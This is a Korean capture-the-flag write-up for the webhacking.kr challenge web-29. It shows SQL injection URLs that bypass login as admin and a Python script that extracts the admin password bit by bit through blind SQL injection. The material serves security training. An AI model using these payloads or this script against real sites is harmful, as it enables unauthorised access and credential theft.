위의 페이지에서 이것저것 공격을 트라이 해보고 WHERE 절을 분석해본 결과,
다음과 같은 WHERE 절이 아닐까 하는 뇌피셜을 작성해봅니다.
SELECT 뭐시기 FROM 뭐시기 WHERE pw='비밀번호' and no=번호 and id='아이디'
공격을 시도했을 때 admin 페이지로 들어가지는 경우는 다음과 같습니다.
https://webhacking.kr/challenge/web-29/?no=0||no=2&id=admin&pw=guest
저기서 pw는 따로 영향을 받지 않고 id에서 영향을 받은 것으로 확인되었습니다.
이제 공격을 수행하고 발견한 admin 페이지에서 공격을 수행해봐야 할 거 같은데..
admin 페이지는 다음과 같습니다.
여기서 test라는 값을 입력하니 auth라는 GET 파라미터로 값을 넘기는 것을 확인하였습니다.
저 입력 페이지 외에는 따로 알 수 있는 정보가 없습니다.
당장 이 페이지에서는 공격이 따로 불가능한 것 같습니다.
admin password는 입력할 수 있는 값과 결과가 한정적이기 때문에 GET 메소드에서 공격을 수행하여 Blind SQLi를 수행해야 할 것 같습니다.
일단 GET 메소드에서 공격 쿼리에 어떤 걸 사용할 수 있는지 대략적으로 알아본 결과는 다음과 같습니다.
%20, limit, 싱글쿼터 등
%09, %0a, %0d, UNION, SELECT 등
여기서 여러가지 공격을 시도해보고 다음과 같이 알아내보았습니다.
no=0||no=2&&id=0x61646d696e&&알아내고자 하는 조건문
- no=0||no=2&&id=0x61646d696e&&length(pw)=??
- no=0||no=2&&id=0x61646d696e&&(BLIND SQL INJECTION 공격 쿼리)
위와 같은 값을 이용하여 공격을 수행할 수 있었습니다.
import sys
import requests
import urllib
# no -------------------------
# %20 filtered
# limit filtered
#
# %09 not filtered
# %0a not filtered
# %0d not filtered
# ' filtered <-- Failure(일반 실패한 것처럼 보임... 근데 아님)
# id -------------------------
# union not filtered
# select not filtered
requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://webhacking.kr/challenge/web-29/?no=%(no)s&id=%(id)s&pw=%(pw)s'
headers = { 'Cookie': 'PHPSESSID=q0gle6aih4e7i95ted71ipo0cf'}
proxies = { 'http' : 'http://localhost:8888',
'https' : 'http://localhost:8888' }
no = "0||no=2&&id=0x61646d696e&&" # admin in hex
id = "sfsdfsd"
pw = "sdfsdf"
passLen = 0
for i in range(1,100):
url_payload = { 'no' : urllib.parse.quote(no+"length(pw)=%d" % i + "#"),
'id' : urllib.parse.quote(id),
'pw' : urllib.parse.quote(pw)}
res = sess.get( url =URL % url_payload,
headers =headers,
proxies =proxies,
verify =False)
if 'Fail' in res.text:
pass
elif 'admin' in res.text:
passLen = i
break
print("[+] Password Length Found : %3d" % passLen)
bitLen = 8
passwd = ""
for j in range(1, passLen+1):
tmpBit = ""
for i in range(1,bitLen+1):
url_payload = { 'no' : urllib.parse.quote(no+"substr(lpad(bin(conv(hex(substr(pw,%d,1)),16,10)),8,0),%d,1)=1#" \
% (j, i)),
'id' : urllib.parse.quote(id),
'pw' : urllib.parse.quote(pw)}
res = sess.get( url =URL % url_payload,
headers =headers,
proxies =proxies,
verify =False)
if 'Fail' in res.text:
tmpBit += "0"
elif 'admin' in res.text:
tmpBit += "1"
print("[-] tmpBit : %s" % tmpBit )
passwd += chr(int(tmpBit, 2))
print("[+] Password Found : %s" % passwd)
print('[+] End ')